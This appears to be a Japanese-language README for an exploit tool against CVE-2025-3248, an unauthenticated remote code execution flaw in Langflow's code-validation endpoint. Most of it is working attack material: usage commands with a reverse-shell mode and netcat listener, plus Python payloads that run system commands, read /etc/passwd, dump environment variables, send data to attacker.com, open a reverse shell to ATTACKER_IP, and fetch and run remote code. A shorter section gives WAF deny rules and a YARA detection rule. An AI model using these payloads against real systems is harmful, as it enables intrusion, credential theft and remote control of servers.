攻撃者 → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   認証不要
     ↓
   任意のPythonコード
     ↓
   システムコマンド実行

Python >= 3.7
requests >= 2.25.0

pip install requests

pip install colorama  # Windows の色サポート用

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

python3 cve_2025_3248_test.py -t <target_url> [options]

python3 cve_2025_3248_test.py -t http://target.com

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

nc -lvnp 4444

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

positional arguments:
  None

optional arguments:
  -t, --target TARGET       ターゲットURL (例: http://target.com) [必須]
  -c, --command COMMAND     実行するコマンド (デフォルト: id)
  --timeout TIMEOUT         リクエストタイムアウト (秒) (デフォルト: 10)
  --exploit                 エクスプロイトモードを有効化 (リバースシェル)
  --lhost LHOST             リバースシェル用の自身のIPアドレス
  --lport LPORT             リバースシェル用の自身のポート
  -h, --help                このヘルプメッセージを表示

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

# 不審なリクエストの監視
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# 脆弱なエンドポイントへの POST リクエストをアラート
auditctl -w /var/lib/langflow -p wa -k langflow_changes

# 攻撃者はこのペイロードを送信:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# サーバーは次のように処理:
exec(code)  # ← 危険！サニタイズなし

# AST 解析中にデフォルト引数が評価される:
# exec('import os; os.system("whoami")')

# 結果: 任意のコマンド実行

# このコードは即座に実行される:
@decorator_expression
def my_function():
    pass

# つまり、このペイロードはコードを実行する:
@exec("malicious_code_here")
def vulnerable_function():
    pass

╔═══════════════════════════════════════════════════════════╗
║  CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0  ║
║  責任を持って使用 - 許可されたテストのみ                  ║
╚═══════════════════════════════════════════════════════════╝